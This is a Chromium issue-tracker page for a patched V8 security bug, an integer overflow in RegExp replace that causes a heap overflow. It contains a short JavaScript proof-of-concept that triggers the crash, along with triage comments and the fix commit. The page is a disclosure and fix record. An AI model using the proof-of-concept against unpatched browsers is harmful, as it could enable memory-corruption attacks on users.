New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 786573 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Nov 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: V8: Integer overflow in Runtime_RegExpReplace

Project Member Reported by lokihardt@google.com, Nov 17 2017

Issue description

Here's a snippet of the method.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, captures_length_obj,
        Object::ToLength(isolate, captures_length_obj));
    const int captures_length = PositiveNumberToUint32(*captures_length_obj);
    ...
    if (functional_replace) {
      const int argc =
          has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)

      ScopedVector<Handle<Object>> argv(argc);

      int cursor = 0;
      for (int j = 0; j < captures_length; j++) {
        argv[cursor++] = captures[j];
      }

      // (b)
      argv[cursor++] = handle(Smi::FromInt(position), isolate);
      argv[cursor++] = string;

The variable "captures_length" is user-controlled, so an integer overflow may occur at (a) which causes a heap overflow at (b).


PoC:
let cnt = 0;
let reg = /./g;
reg.exec = () => {
    if (cnt++ == 0)
        return {length: 0xfffffffe};

    cnt = 0;
    return null;
};

''.replace(reg, () => {});

Tested on d8 6.4.224.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 

Comment 1 by palmer@chromium.org, Nov 17 2017

Cc: bmeu...@chromium.org titzer@chromium.org
Components: Blink>JavaScript
Labels: Security_Severity-High OS-Android OS-Chrome OS-Fuchsia OS-Mac
Owner: hpayer@chromium.org

Comment 2 by mmoroz@google.com, Nov 17 2017

Cc: jgruber@chromium.org

Comment 3 by mmoroz@google.com, Nov 17 2017

Components: -Blink>JavaScript Blink>JavaScript>Regexp

Comment 4 by mmoroz@chromium.org, Nov 17 2017

Cc: hpayer@chromium.org
Labels: M-64 Security_Impact-Head
Owner: yangguo@chromium.org
Status: Assigned (was: Untriaged)
Yang, could you please help to find an owner?

Cc: yangguo@chromium.org
Owner: jgruber@chromium.org
Project Member

Comment 6 by sheriffbot@chromium.org, Nov 18 2017

Labels: ReleaseBlock-Stable
This is a serious security regression. If you are not able to fix this quickly, please revert the change that introduced it.

If this doesn't affect a release branch, or has not been properly classified for severity, please update the Security_Impact or Security_Severity labels, and remove the ReleaseBlock label. To disable this altogether, apply ReleaseBlock-NA.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Fix in-flight here: https://crrev.com/c/779001

Failing with OOM is probably the correct behavior in this case, since the spec requires creating a of length nCaptures. See step 14.i at [0].

[0] https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace
Project Member

Comment 8 by bugdroid1@chromium.org, Nov 21 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/71b9018c477034d3e211f58ab0565ac0d2794054

commit 71b9018c477034d3e211f58ab0565ac0d2794054
Author: jgruber <jgruber@chromium.org>
Date: Tue Nov 21 12:09:13 2017

[regexp] Avoid integer overflow in callable @@replace

The integer value denoting the number of captures (and thus the size
of the list of captures created in @@replace [0]) can be controlled by
the user.  This CL ensures we don't overflow and respect
Code::kMaxArguments, but note that it is still possible to trigger
OOMs through large lists.

Bug:  chromium:786573 
Change-Id: I19c88908c594487818d083b2ba423764ef91eae0
Reviewed-on: https://chromium-review.googlesource.com/779001
Reviewed-by: Yang Guo <yangguo@chromium.org>
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Commit-Position: refs/heads/master@{#49530}
[modify] https://crrev.com/71b9018c477034d3e211f58ab0565ac0d2794054/src/runtime/runtime-regexp.cc
[modify] https://crrev.com/71b9018c477034d3e211f58ab0565ac0d2794054/test/mjsunit/regress/regress-707187.js
[add] https://crrev.com/71b9018c477034d3e211f58ab0565ac0d2794054/test/mjsunit/regress/regress-786573.js

Status: Fixed (was: Assigned)
Project Member

Comment 10 by sheriffbot@chromium.org, Nov 21 2017

Labels: Restrict-View-SecurityNotify
Project Member

Comment 11 by sheriffbot@chromium.org, Feb 27 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 12 by sheriffbot@chromium.org, Mar 27 2018

Labels: -Security_Impact-Head -M-64 M-65 Security_Impact-Stable
Labels: -ReleaseBlock-Stable
Project Member

Comment 14 by ClusterFuzz, Oct 18

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4878713404260352.
Project Member

Comment 15 by ClusterFuzz, Oct 18

Testcase 4878713404260352 failed to reproduce the crash. Please inspect the program output at https://clusterfuzz.com/testcase?key=4878713404260352.
Project Member

Comment 16 by ClusterFuzz, Oct 18

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4784485244338176.
Project Member

Comment 17 by ClusterFuzz, Oct 18

Testcase 4784485244338176 failed to reproduce the crash. Please inspect the program output at https://clusterfuzz.com/testcase?key=4784485244338176.
Project Member

Comment 18 by ClusterFuzz, Oct 18

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4843052383076352.

Sign in to add a comment